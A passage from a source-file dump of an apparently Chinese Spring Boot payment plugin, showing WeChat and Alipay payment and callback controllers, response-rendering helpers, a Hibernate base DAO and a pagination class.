{\n\t\t\tcookie.setDomain(domain);\n\t\t}\n\t\tif (isHttpOnly != null) {\n\t\t\tcookie.setHttpOnly(isHttpOnly);\n\t\t}\n\t\tgetResponse().addCookie(cookie);\n\t\treturn this;\n\t}\n\n\tpublic void redirect(String url) {\n\t\ttry {\n\t\t\tgetResponse().sendRedirect(url);\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tlog.error(e.getMessage(), e);\n\t\t}\n\t}\n\n\tpublic void render(String arg0) {\n\t\ttry {\n\t\t\tgetRequest().getRequestDispatcher(arg0).forward(getRequest(), getResponse());\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tlog.error(e.getMessage(), e);\n\t\t}\n\t}\n\n\t/**\n\t * Return renderJavaScript.\n\t * \n\t * \n\t */\n\tpublic void renderJavascript(Object javascriptText) {\n\t\trender(getResponse(), \"text/html;charset=UTF-8\", javascriptText);\n\t}\n\n\t/**\n\t * Return renderText.\n\t * \n\t * \n\t */\n\tpublic void renderHtml(Object htmlText) {\n\t\trender(getResponse(), \"text/html;charset=UTF-8\", htmlText);\n\t}\n\n\t/**\n\t * Return renderText.\n\t * \n\t * \n\t */\n\tpublic void renderText(Object value) {\n\t\trender(getResponse(), \"text/plain;charset=UTF-8\", value);\n\t}\n\n\t/**\n\t * Return renderJson. to fastJson and return Object\n\t * \n\t * \n\t */\n\tpublic void renderJson(Object value) {\n\t\trender(getResponse(), \"application/json;charset=UTF-8\", JSONArray.toJSONString(value));\n\t}\n\n\t/**\n\t * Return renderJson.and return String\n\t * \n\t * \n\t */\n\tpublic void renderJson(String jsonText) {\n\t\trender(getResponse(), \"application/json;charset=UTF-8\", jsonText);\n\t}\n\n\t/**\n\t * Return renderJson. jsonArray fastJson\n\t * \n\t * \n\t */\n\tpublic void renderJson(Map<String, Object> value) {\n\t\trender(getResponse(), \"application/json;charset=UTF-8\", JSONArray.toJSONString(value));\n\t}\n\n\t/**\n\t * Return renderXml.\n\t * \n\t * \n\t */\n\tpublic void renderXml(Object key) {\n\t\trender(getResponse(), \"text/xml;charset=UTF-8\", key);\n\t}\n\n\t/**\n\t * Return render.\n\t * \n\t * \n\t */\n\tpublic void render(HttpServletResponse response, String contentType, Object obj) {\n\t\tresponse.setContentType(contentType);\n\t\tresponse.setHeader(\"Pragma\", \"No-cache\");\n\t\tresponse.setHeader(\"Cache-Control\", \"no-cache\");\n\t\tresponse.setDateHeader(\"Expires\", 0L);\n\t\ttry {\n\t\t\tresponse.getWriter().write(obj.toString());\n\t\t} catch (IOException e) {\n\t\t\tlog.error(e.getMessage(), e);\n\t\t\ttry {\n\t\t\t\tresponse.getWriter().close();\n\t\t\t} catch (IOException e1) {\n\t\t\t\te1.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic String readRequstJson(HttpServletRequest request) {\n\t\tStringBuffer json = new StringBuffer();\n\t\tString line = null;\n\t\ttry {\n\t\t\tBufferedReader reader = request.getReader();\n\t\t\twhile ((line = reader.readLine()) != null) {\n\t\t\t\tjson.append(line);\n\t\t\t}\n\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tlog.error(e.getMessage(), e);\n\t\t}\n\t\treturn json.toString();\n\t}\n\n\tprivate Integer toInt(String value, Integer defaultValue) {\n\t\ttry {\n\t\t\tif (value == null || \"\".equals(value.trim()))\n\t\t\t\treturn defaultValue;\n\t\t\tvalue = value.trim();\n\t\t\tif (value.startsWith(\"N\") || value.startsWith(\"n\"))\n\t\t\t\treturn -Integer.parseInt(value.substring(1));\n\t\t\treturn Integer.parseInt(value);\n\t\t} catch (Exception e) {\n\t\t\tlog.error(e.getMessage(), e);\n\t\t\tthrow e;\n\t\t}\n\t}\n\n\tprivate Long toLong(String value, Long defaultValue) {\n\t\ttry {\n\t\t\tif (value == null || \"\".equals(value.trim()))\n\t\t\t\treturn defaultValue;\n\t\t\tvalue = value.trim();\n\t\t\tif (value.startsWith(\"N\") || value.startsWith(\"n\"))\n\t\t\t\treturn -Long.parseLong(value.substring(1));\n\t\t\treturn Long.parseLong(value);\n\t\t} catch (Exception e) {\n\t\t\tlog.error(e.getMessage(), e);\n\t\t\tthrow e;\n\t\t}\n\t}\n\n\tprivate Boolean toBoolean(String value, Boolean defaultValue) {\n\t\ttry {\n\t\t\tif (value == null || \"\".equals(value.trim()))\n\t\t\t\treturn defaultValue;\n\t\t\tvalue = value.trim().toLowerCase();\n\t\t\tif (\"1\".equals(value) || \"true\".equals(value))\n\t\t\t\treturn Boolean.TRUE;\n\t\t\telse if (\"0\".equals(value) || \"false\".equals(value))\n\t\t\t\treturn Boolean.FALSE;\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tlog.error(e.getMessage(), e);\n\t\t\tthrow e;\n\t\t}\n\t\treturn false;\n\n\t}\n\n\tprivate Date toDate(String value, Date defaultValue) throws Exception {\n\t\ttry {\n\t\t\tif (value == null || \"\".equals(value.trim()))\n\t\t\t\treturn defaultValue;\n\t\t\treturn new java.text.SimpleDateFormat(\"yyyy-MM-dd\").parse(value.trim());\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tlog.error(e.getMessage(), e);\n\t\t\tthrow e;\n\t\t}\n\t}\n\n\tpublic void crossDomian() {\n\t\tgetResponse().setHeader(\"Access-Control-Allow-Origin\", \"*\");\n\t\tgetResponse().setHeader(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS, DELETE\");\n\t\tgetResponse().setHeader(\"Access-Control-Max-Age\", \"3600\");\n\t\tgetResponse().setHeader(\"Access-Control-Allow-Headers\",\n\t\t\t\t\"Origin, No-Cache, X-Requested-With, If-Modified-Since, Pragma, Last-Modified, Cache-Control, Expires,Content-Type, X-E4M-With\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/controller/NotifyController.java",
    "content": "package com.springboot.controller;\n\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.Map;\nimport java.util.SortedMap;\nimport java.util.TreeMap;\n\nimport javax.servlet.http.HttpServletRequest;\n\nimport org.apache.commons.lang.ArrayUtils;\nimport org.apache.commons.lang.StringUtils;\nimport org.apache.log4j.Logger;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\nimport com.alibaba.fastjson.JSON;\nimport com.alipay.api.internal.util.AlipaySignature;\nimport com.springboot.util.AliPayUtil;\nimport com.springboot.util.PropKit;\nimport com.springboot.util.WxPayUtil;\nimport com.springboot.util.XMLUtil;\n\n/**\n * 支付异步通知\n * \n * @author lenovo\n *\n */\n@Controller\n@RequestMapping(value = \"/pay/notify\")\npublic class NotifyController {\n\n\tprivate static final Logger logger = Logger.getLogger(NotifyController.class);\n\n\t/**\n\t * 微信通知地址\n\t * \n\t * @throws IOException\n\t */\n\t@RequestMapping(value = \"/wxNotify\", produces = \"application/xml\")\n\t@ResponseBody\n\t@SuppressWarnings({ \"unchecked\", \"rawtypes\" })\n\tpublic String wxNotify(HttpServletRequest request) throws Exception {\n\t\t// 读取参数\n\t\tInputStream inputStream = request.getInputStream();\n\t\tStringBuffer sb = new StringBuffer();\n\t\tString s;\n\t\tBufferedReader in = new BufferedReader(new InputStreamReader(inputStream, \"UTF-8\"));\n\t\twhile ((s = in.readLine()) != null) {\n\t\t\tsb.append(s);\n\t\t}\n\t\tin.close();\n\t\tinputStream.close();\n\t\t// 解析xml成map\n\t\tMap<String, String> m = new HashMap<String, String>();\n\t\tm = XMLUtil.doXMLParse(sb.toString());\n\t\t// 过滤空 设置 TreeMa\n\t\tSortedMap<Object, Object> packageParams = new TreeMap<Object, Object>();\n\t\tIterator it = m.keySet().iterator();\n\t\twhile (it.hasNext()) {\n\t\t\tString parameter = (String) it.next();\n\t\t\tString parameterValue = m.get(parameter);\n\n\t\t\tString v = \"\";\n\t\t\tif (null != parameterValue) {\n\t\t\t\tv = parameterValue.trim();\n\t\t\t}\n\t\t\tpackageParams.put(parameter, v);\n\t\t}\n\t\t// 账号信息\n\t\tString key = PropKit.get(\"weixin.pay.key\"); // key\n\t\t// 判断签名是否正确\n\n\t\tif (WxPayUtil.isTenpaySign(\"UTF-8\", packageParams, key)) {\n\t\t\tlogger.info(\"微信支付成功回调\");\n\t\t\tString resXml = \"\";\n\t\t\tif (\"SUCCESS\".equals(packageParams.get(\"result_code\"))) {\n\t\t\t\t// 这里是支付成功\n\t\t\t\tString orderNo = (String) packageParams.get(\"out_trade_no\");\n\t\t\t\tString totalFee = (String) packageParams.get(\"total_fee\");\n\t\t\t\tlogger.info(String.format(\"微信订单号{%s}付款成功\", orderNo));\n\t\t\t\tSystem.out.println(String.format(\"微信订单号{%s}付款成功\", orderNo) + \"金额是：\" + totalFee + \"分\");\n\t\t\t\t// 这里 根据实际业务场景 做相应的操作\n\t\t\t\t// 通知微信.异步确认成功.必写.不然会一直通知后台.八次之后就认为交易失败了.\n\t\t\t\tresXml = \"<xml>\" + \"<return_code><![CDATA[SUCCESS]]></return_code>\"\n\t\t\t\t\t\t+ \"<return_msg><![CDATA[OK]]></return_msg>\" + \"</xml> \";\n\t\t\t} else {\n\t\t\t\tlogger.info(String.format(\"支付失败,错误信息：{%s}\", packageParams.get(\"err_code\")));\n\t\t\t\tSystem.out.println(String.format(\"支付失败,错误信息：{%s}\", packageParams.get(\"err_code\")));\n\t\t\t\tresXml = \"<xml>\" + \"<return_code><![CDATA[FAIL]]></return_code>\"\n\t\t\t\t\t\t+ \"<return_msg><![CDATA[报文为空]]></return_msg>\" + \"</xml> \";\n\t\t\t}\n\t\t\t// ------------------------------\n\t\t\t// 处理业务完毕\n\t\t\t// ------------------------------\n\t\t\t// 返回xml文档\n\t\t\treturn resXml;\n\t\t} else {\n\t\t\tlogger.info(\"通知签名验证失败\");\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 支付宝异步通知 支付宝 支付结果异步通知2 (新的RSA2的方式)\n\t * \n\t * @param request\n\t * @return\n\t * @throws Exception\n\t */\n\t@RequestMapping(value = \"/aliNotify\", produces = \"text/plain\")\n\t@ResponseBody\n\tpublic String aliNotify(HttpServletRequest request) throws Exception {\n\t\tMap<String, String[]> requestParams = request.getParameterMap();\n\t\tMap<String, String> params = new HashMap<String, String>();\n\t\tfor (Iterator<String> iter = requestParams.keySet().iterator(); iter.hasNext();) {\n\t\t\tString key = iter.next();\n\t\t\tString[] values = requestParams.get(key);\n\t\t\tif (null != values && values.length > 0) {\n\t\t\t\tparams.put(key, values[0]);\n\t\t\t}\n\t\t}\n\t\tSystem.out.println(\"支付宝异步通知 trade_notify2 原始参数字典：\" + JSON.toJSONString(params));\n\t\tif (null == params || params.size() <= 0) {\n\t\t\treturn AliPayUtil.FAIL;\n\t\t}\n\n\t\t// 排序后的map\n\t\tMap<String, String> smap = new TreeMap<String, String>(params);\n\t\tsmap.remove(\"sign_type\");\n\n\t\t// 验证签名 -- 此方法不会去掉sign_type验签\n\t\tboolean signVerified = AlipaySignature.rsaCheckV1(smap, PropKit.get(\"alipay.pay.public.key\"),\n\t\t\t\tPropKit.get(\"alipay.pay.charset\"), PropKit.get(\"alipay.pay.sign.type\"));\n\t\tSystem.out.println(\"验证签名状态：\" + signVerified);\n\t\tif (signVerified) {\n\n\t\t\t// 验签成功后 要做的事情\n\t\t\t// 1、商户需要验证该通知数据中的out_trade_no是否为商户系统中创建的订单号，\n\t\t\t// 2、判断total_amount是否确实为该订单的实际金额（即商户订单创建时的金额），\n\t\t\t// 3、校验通知中的seller_id（或者seller_email)\n\t\t\t// 是否为out_trade_no这笔单据的对应的操作方（有的时候，一个商户可能有多个seller_id/seller_email），\n\t\t\t// 4、验证app_id是否为该商户本身。\n\t\t\t// 上述1、2、3、4有任何一个验证不通过，则表明本次通知是异常通知，务必忽略。在上述验证通过后商户必须根据支付宝不同类型的业务通知，正确的进行不同的业务处理，并且过滤重复的通知结果数据。在支付宝的业务通知中，只有交易通知状态为TRADE_SUCCESS或TRADE_FINISHED时，支付宝才会认定为买家付款成功。\n\t\t\tString trade_status = smap.get(\"trade_status\");\n\t\t\tif (StringUtils.isBlank(trade_status)) {\n\t\t\t\treturn AliPayUtil.FAIL;\n\t\t\t}\n\n\t\t\tString[] arrSuccessStat = new String[] { \"TRADE_SUCCESS\", \"TRADE_FINISHED\" };\n\t\t\tif (!ArrayUtils.contains(arrSuccessStat, trade_status)) {\n\t\t\t\treturn AliPayUtil.FAIL;\n\t\t\t}\n\n\t\t\tString out_trade_no = smap.get(\"out_trade_no\");\n\t\t\tif (StringUtils.isBlank(out_trade_no)) {\n\t\t\t\treturn AliPayUtil.FAIL;\n\t\t\t}\n\n\t\t\tString total_amount = smap.get(\"total_amount\");\n\t\t\tif (StringUtils.isBlank(total_amount)) {\n\t\t\t\treturn AliPayUtil.FAIL;\n\t\t\t}\n\n\t\t\tString seller_id = smap.get(\"seller_id\");\n\t\t\tif (StringUtils.isBlank(seller_id)) {\n\t\t\t\treturn AliPayUtil.FAIL;\n\t\t\t}\n\t\t\tSystem.out.println(\"验签成功--订单号：\" + out_trade_no + \"\\t支付金额：\" + total_amount + \"元\");\n\t\t\treturn AliPayUtil.SUCCESS;\n\t\t} else {\n\t\t\treturn AliPayUtil.FAIL;\n\t\t}\n\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/controller/WxController.java",
    "content": "package com.springboot.controller;\n\nimport java.math.BigDecimal;\nimport java.util.Map;\nimport java.util.SortedMap;\nimport java.util.TreeMap;\n\nimport javax.servlet.http.HttpServletRequest;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.servlet.ModelAndView;\n\nimport com.springboot.model.PayModel;\nimport com.springboot.service.IWxService;\nimport com.springboot.util.IPKit;\nimport com.springboot.util.PropKit;\nimport com.springboot.util.WxPayUtil;\nimport com.springboot.util.WxUtil;\nimport com.springboot.util.XMLUtil;\n\n/**\n * 微信支付\n * \n * @author lenovo\n *\n */\n@Controller\n@RequestMapping(value = \"/wx/pay\")\npublic class WxController {\n\n\t@Autowired\n\tprivate IWxService wxService;\n\n\t@RequestMapping(value = \"/jsPay\")\n\tpublic ModelAndView wx(HttpServletRequest request) {\n\t\tModelAndView mv = new ModelAndView();\n\t\tString prepay_id = request.getParameter(\"prepay_id\");\n\t\tMap<String, Object> hashMap = WxUtil.cresateSignature();\n\t\tmv.addObject(\"hashMap\", hashMap);\n\t\t// 拿到了prepay_id，再次生成签名返回给页面。paySign\n\t\tSortedMap<Object, Object> paySignParameters = new TreeMap<Object, Object>();\n\t\tpaySignParameters.put(\"appId\", PropKit.get(\"weixin.pay.appid\"));\n\t\tpaySignParameters.put(\"nonceStr\", hashMap.get(\"noncestr\"));\n\t\tpaySignParameters.put(\"package\", \"prepay_id=\" + prepay_id);\n\t\tpaySignParameters.put(\"signType\", \"MD5\");\n\t\tpaySignParameters.put(\"timeStamp\", hashMap.get(\"timestamp\"));\n\t\tString sign = WxPayUtil.createSign(\"utf-8\", paySignParameters, PropKit.get(\"weixin.pay.key\"));\n\t\tmv.addObject(\"sign\", sign);\n\t\tmv.addObject(\"prepay_id\", prepay_id);\n\t\tmv.addObject(\"appId\", PropKit.get(\"weixin.pay.appid\"));\n\t\tmv.setViewName(\"wx/wx\");\n\t\treturn mv;\n\t}\n\n\t/**\n\t * @throws Exception\n\t * \n\t */\n\t@RequestMapping(value = \"/jsSdkPay\")\n\tpublic String jsSdkPay(HttpServletRequest request) throws Exception {\n\t\tPayModel model = new PayModel();\n\t\tString openId = request.getParameter(\"openId\");\n\t\tmodel.setAmount(new BigDecimal(\"0.01\"));\n\t\tmodel.setBody(\"定制合同：劳动合同通用版\");\n\t\tmodel.setIp(IPKit.getIpAddr(request));\n\t\tmodel.setOutTradeNno(com.springboot.util.IdKit.getDateId(\"1\"));\n\t\tmodel.setOpenId(openId);\n\t\tMap map = XMLUtil.doXMLParse(wxService.wxJssdkPay(model));\n\t\tSystem.out.println(map);\n\t\treturn \"redirect:http://test.jiedanba.cn/wx/pay/jsPay?prepay_id=\" + map.get(\"prepay_id\");\n\t}\n\n\t/**\n\t * 获取用户openid\n\t * \n\t * @param request\n\t * @return\n\t */\n\t@RequestMapping(value = \"/getOpenId\")\n\tpublic String getOpenId(HttpServletRequest request) {\n\t\tString code = request.getParameter(\"code\");\n\t\tMap<String, Object> resultMap = WxUtil.getUserOpenId(PropKit.get(\"weixin.pay.appid\"),\n\t\t\t\tPropKit.get(\"weixin.pay.appsecret\"), code);\n\t\treturn \"redirect:http://test.jiedanba.cn/wx/pay/jsSdkPay?openId=\" + resultMap.get(\"openid\");\n\t}\n\n\t/**\n\t * 微信扫码支付\n\t * \n\t * @param request\n\t * @return\n\t * @throws Exception\n\t */\n\t@RequestMapping(value = \"/qrCode\")\n\tpublic ModelAndView qrCode(HttpServletRequest request) throws Exception {\n\t\tModelAndView mv = new ModelAndView();\n\t\tPayModel model = new PayModel();\n\t\tString openId = request.getParameter(\"openId\");\n\t\tmodel.setAmount(new BigDecimal(\"0.01\"));\n\t\tmodel.setBody(\"定制合同：劳动合同通用版\");\n\t\tmodel.setIp(IPKit.getIpAddr(request));\n\t\tmodel.setOutTradeNno(com.springboot.util.IdKit.getDateId(\"1\"));\n\t\tmodel.setOpenId(openId);\n\t\tString url = wxService.wxQrCode(model);\n\t\tmv.addObject(\"url\", url);\n\t\tmv.setViewName(\"wx/qrCode\");\n\t\treturn mv;\n\t}\n\n\t@RequestMapping(value = \"/h5Pay\", produces = \"application/xml\")\n\t@ResponseBody\n\tpublic String h5Pay(HttpServletRequest request) throws Exception {\n\t\tPayModel model = new PayModel();\n\t\tString openId = request.getParameter(\"openId\");\n\t\tmodel.setAmount(new BigDecimal(\"0.01\"));\n\t\tmodel.setBody(\"定制合同：劳动合同通用版\");\n\t\tmodel.setIp(IPKit.getIpAddr(request));\n\t\tmodel.setOutTradeNno(com.springboot.util.IdKit.getDateId(\"1\"));\n\t\tmodel.setOpenId(openId);\n\t\treturn wxService.h5Pay(model);\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/dao/BaseDao.java",
    "content": "\npackage com.springboot.dao;\n\nimport java.io.Serializable;\nimport java.util.List;\n\nimport org.apache.commons.lang3.StringUtils;\nimport org.hibernate.Query;\nimport org.hibernate.Session;\nimport org.hibernate.SessionFactory;\nimport org.hibernate.proxy.HibernateProxy;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\n\npublic abstract class BaseDao<T> {\n\n\tprivate Logger log = LoggerFactory.getLogger(getClass());\n\n\t@Autowired\n\tprivate SessionFactory sessionFactory;\n\n\tprivate static final Object NULL_PARA_ARRAY = new Object[0];\n\n\tprivate Class<T> poClass;\n\n\tpublic BaseDao() {\n\t}\n\n\tpublic BaseDao(Class<T> poClass) {\n\t\tthis.poClass = poClass;\n\t}\n\n\tpublic Serializable save(T po) {\n\t\ttry {\n\t\t\treturn getSession().save(po);\n\t\t} catch (Exception e) {\n\t\t\tlog.error(e.getMessage(), e);\n\t\t\tthrow e;\n\t\t}\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic T get(Serializable id) {\n\t\tif (id != null && !\"\".equals(id.toString())) {\n\t\t\ttry {\n\t\t\t\tObject entity = getSession().get(poClass, id);\n\t\t\t\t// 如果获取的是一个代理对象，则从代理对象中获取实际的实体对象返回。\n\t\t\t\tif (entity instanceof HibernateProxy) {\n\t\t\t\t\tentity = ((HibernateProxy) entity).getHibernateLazyInitializer().getImplementation();\n\t\t\t\t}\n\t\t\t\treturn (T) entity;\n\t\t\t} catch (Exception e) {\n\t\t\t\tlog.error(e.getMessage(), e);\n\t\t\t\tthrow e;\n\t\t\t}\n\t\t} else {\n\t\t\treturn null;\n\t\t}\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic T findFirstByHql(String hql, Object... param) {\n\t\tQuery query = createQuery(hql, param);\n\t\tquery.setFirstResult(0);\n\t\tquery.setMaxResults(1);\n\t\treturn (T) query.uniqueResult();\n\t}\n\n\t/**\n\t * \n\t * @param hql\n\t * @param values\n\t * @return List<T>\n\t */\n\tpublic List<T> findListByHql(String hql, Object... param) {\n\t\ttry {\n\t\t\tQuery query = createQuery(hql, param);\n\t\t\treturn query.list();\n\t\t} catch (Exception e) {\n\t\t\tlog.error(e.getMessage(), e);\n\t\t\tthrow e;\n\t\t}\n\t}\n\n\tpublic void update(T po) {\n\t\ttry {\n\t\t\tgetSession().update(po);\n\t\t} catch (Exception e) {\n\t\t\tlog.error(e.getMessage(), e);\n\t\t\tthrow e;\n\t\t}\n\t}\n\n\tpublic int deleteByHql(String hql, Object... values) {\n\t\treturn executeUpdateByHql(hql, values);\n\t}\n\n\tpublic void deleteById(Serializable id) {\n\t\tdelete(get(id));\n\t}\n\n\tpublic void delete(T vo) {\n\t\ttry {\n\t\t\tgetSession().delete(vo);\n\t\t} catch (Exception e) {\n\t\t\tlog.error(e.getMessage(), e);\n\t\t\tthrow e;\n\t\t}\n\t}\n\n\tpublic int updateByHql(String hql, Object... values) {\n\t\treturn executeUpdateByHql(hql, values);\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tprivate Page<T> paginate(Integer pageNo, Integer pageSize, Integer totalCount, String hql, Object... values) {\n\t\tif (totalCount < 1) {\n\t\t\treturn new Page<T>(pageSize);\n\t\t}\n\t\tif (pageNo == null) {\n\t\t\tpageNo = 1;\n\t\t}\n\t\tPage<T> page = new Page<T>(totalCount, pageNo, pageSize);\n\t\tQuery query = createQuery(hql, values);\n\t\tList<T> list = query.setFirstResult((page.getPageNumber() - 1) * pageSize).setMaxResults(pageSize).list();\n\t\tpage.setContents(list);\n\t\treturn page;\n\t}\n\n\tpublic Page<T> paginateByHql(Integer pageNo, Integer pageSize, String hql, Object... values) {\n\t\treturn paginate(pageNo, pageSize, count(hql, values), hql, values);\n\t}\n\n\tprivate Integer count(String hql, Object... values) {\n\t\tString fromHql = hql;\n\t\tfromHql = \"from \" + StringUtils.substringAfter(fromHql, \"from\");\n\t\tfromHql = StringUtils.substringBefore(fromHql, \"order by\");\n\t\tString countHql = \"select count(*) \" + fromHql;\n\t\treturn Integer.valueOf(createQuery(countHql, values).uniqueResult().toString());\n\t}\n\n\t@SuppressWarnings({ \"unchecked\", \"hiding\" })\n\tpublic <T> T queryColumn(String sql, Object... args) {\n\t\tQuery query = createSQLQuery(sql, args);\n\t\tList<T> result = query.list();\n\t\tif (result.size() > 0) {\n\t\t\tT temp = result.get(0);\n\t\t\tif (temp instanceof Object[])\n\t\t\t\tthrow new RuntimeException(\"Only ONE COLUMN can be queried.\");\n\t\t\treturn temp;\n\t\t}\n\t\treturn null;\n\t}\n\n\t@SuppressWarnings({ \"unchecked\", \"hiding\" })\n\tpublic <T> T queryColumn(String sql) {\n\t\treturn (T) queryColumn(sql, NULL_PARA_ARRAY);\n\t}\n\n\tpublic Number queryNumber(String sql, Object... paras) {\n\t\treturn (Number) queryColumn(sql, paras);\n\t}\n\n\tpublic Number queryNumber(String sql) {\n\t\treturn (Number) queryColumn(sql, NULL_PARA_ARRAY);\n\t}\n\n\tpublic Integer queryInt(String sql, Object... paras) {\n\t\tNumber n = queryNumber(sql, paras);\n\t\treturn n != null ? n.intValue() : null;\n\t}\n\n\tpublic Integer queryInt(String sql) {\n\t\treturn queryInt(sql, NULL_PARA_ARRAY);\n\t}\n\n\tpublic Long queryLong(String sql, Object... paras) {\n\t\tNumber n = queryNumber(sql, paras);\n\t\treturn n != null ? n.longValue() : null;\n\t}\n\n\tpublic Long queryLong(String sql) {\n\t\treturn queryLong(sql, NULL_PARA_ARRAY);\n\t}\n\n\tpublic Double queryDouble(String sql, Object... paras) {\n\t\tNumber n = queryNumber(sql, paras);\n\t\treturn n != null ? n.doubleValue() : null;\n\t}\n\n\tpublic Double queryDouble(String sql) {\n\t\treturn queryDouble(sql, NULL_PARA_ARRAY);\n\t}\n\n\tpublic Float queryFloat(String sql, Object... paras) {\n\t\tNumber n = queryNumber(sql, paras);\n\t\treturn n != null ? n.floatValue() : null;\n\t}\n\n\tpublic Float queryFloat(String sql) {\n\t\treturn queryFloat(sql, NULL_PARA_ARRAY);\n\t}\n\n\tpublic java.math.BigDecimal queryBigDecimal(String sql, Object... paras) {\n\t\treturn (java.math.BigDecimal) queryColumn(sql, paras);\n\t}\n\n\tpublic java.math.BigDecimal queryBigDecimal(String sql) {\n\t\treturn (java.math.BigDecimal) queryColumn(sql, NULL_PARA_ARRAY);\n\t}\n\n\tpublic String queryStr(String sql, Object... paras) {\n\t\tObject s = queryColumn(sql, paras);\n\t\treturn s != null ? s.toString() : null;\n\t}\n\n\tpublic String queryStr(String sql) {\n\t\treturn queryStr(sql, NULL_PARA_ARRAY);\n\t}\n\n\tprivate Session getSession() {\n\t\treturn sessionFactory.openSession();\n\t}\n\n\tprivate Query createQuery(String hql, Object... values) {\n\t\tQuery query = getSession().createQuery(hql);\n\t\tfor (int i = 0; i < values.length; i++) {\n\t\t\tquery.setParameter(i, values[i]);\n\t\t}\n\t\treturn query;\n\t}\n\n\tprivate Query createSQLQuery(String sql, Object... values) {\n\t\tQuery querySQL = getSession().createSQLQuery(sql);\n\t\tfor (int i = 0; i < values.length; i++) {\n\t\t\tquerySQL.setParameter(i, values[i]);\n\t\t}\n\t\treturn querySQL;\n\t}\n\n\tprivate int executeUpdateByHql(String hqlSQL, Object... values) {\n\t\tQuery query = getSession().createQuery(hqlSQL);\n\t\tfor (int i = 0; i < values.length; i++) {\n\t\t\tquery.setParameter(i, values[i]);\n\t\t}\n\t\ttry {\n\t\t\treturn query.executeUpdate();\n\t\t} catch (Exception e) {\n\t\t\tlog.error(e.getMessage(), e);\n\t\t\tthrow e;\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/dao/IAdminDao.java",
    "content": "package com.springboot.dao;\n\nimport com.springboot.model.Admin;\n\npublic interface IAdminDao {\n\n\tpublic Admin find(Integer id);\n\n\tpublic String userName(Integer id);\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/dao/IUserDao.java",
    "content": "package com.springboot.dao;\n\nimport com.springboot.model.User;\n\npublic interface IUserDao {\n\tpublic void add(User user);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/dao/IUserProfileDao.java",
    "content": "package com.springboot.dao;\n\nimport com.springboot.model.UserProfile;\n\npublic interface IUserProfileDao {\n\n\tpublic void add(UserProfile userProfile);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/dao/Page.java",
    "content": "package com.springboot.dao;\n\nimport java.io.Serializable;\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * 分页对象。\n * \n * @param <T>\n *            分页对象中包含内容的对象类型\n */\n@SuppressWarnings(\"serial\")\npublic class Page<T> implements Serializable {\n\n\t/** 是否第一页 */\n\tprivate Boolean first = true;\n\t/** 是否最后一页 */\n\tprivate Boolean last = true;\n\t/** 总页数 */\n\tprivate Integer pageCount = 0;\n\t/** 总记录数 */\n\tprivate Integer count = 0;\n\t/** 下一页页码 */\n\tprivate Integer next = 1;\n\t/** 上一页页码 */\n\tprivate Integer previous = 1;\n\t/** 每页记录数 */\n\tprivate Integer pageSize = 10;\n\t/** 当前页码 */\n\tprivate Integer pageNumber = 1;\n\t/** 分页记录集合 */\n\tprivate List<T> contents = new ArrayList<T>();\n\t/** 页数序号 */\n\tprivate List<Integer> indexs = new ArrayList<Integer>();\n\n\tprivate Integer position = 0;\n\n\tprivate String orderBys = \"\";\n\n\t/**\n\t * default constructor\n\t */\n\tpublic Page() {\n\t}\n\n\t/**\n\t * 初始化一个新的分页对象，该构造方法通常用于生成一个空的分页对象。\n\t * \n\t * @param pageSize\n\t *            每页记录数\n\t */\n\tpublic Page(Integer pageSize) {\n\t\tthis.pageSize = pageSize;\n\t}\n\n\t/**\n\t * 通过指定记录总数、当前页数、每页记录数来构造一个分页对象。\n\t * \n\t * \n\t * @param recordCount\n\t *            记录总数\n\t * @param pageNo\n\t *            当前页数\n\t * @param pageSize\n\t *            每页记录数\n\t */\n\tpublic Page(Integer recordCount, Integer pageNo, Integer pageSize) {\n\t\tcount = recordCount;\n\t\tthis.pageSize = pageSize <= 0 ? 10 : pageSize;\n\t\tpageCount = count % this.pageSize > 0 ? count / this.pageSize + 1 : count / this.pageSize;\n\t\t// number = pageCount < pageNo ? pageCount : pageNo;\n\t\tpageNumber = pageNo < 0 ? 0 : pageNo;\n\t\tfirst = pageNumber <= 1;\n\t\tprevious = pageNumber <= 1 ? pageNumber : pageNumber - 1;\n\t\tlast = pageNumber >= pageCount;\n\t\tnext = pageNumber >= pageCount ? pageNumber : pageNumber + 1;\n\t\tcontents = new ArrayList<T>();\n\t\tindexs = new ArrayList<Integer>();\n\t\tfor (int i = 1; i <= pageCount; i++) {\n\t\t\tindexs.add(i);\n\t\t}\n\t}\n\n\tpublic Boolean getFirst() {\n\t\treturn first;\n\t}\n\n\tpublic void setFirst(Boolean first) {\n\t\tthis.first = first;\n\t}\n\n\tpublic Boolean getLast() {\n\t\treturn last;\n\t}\n\n\tpublic void setLast(Boolean 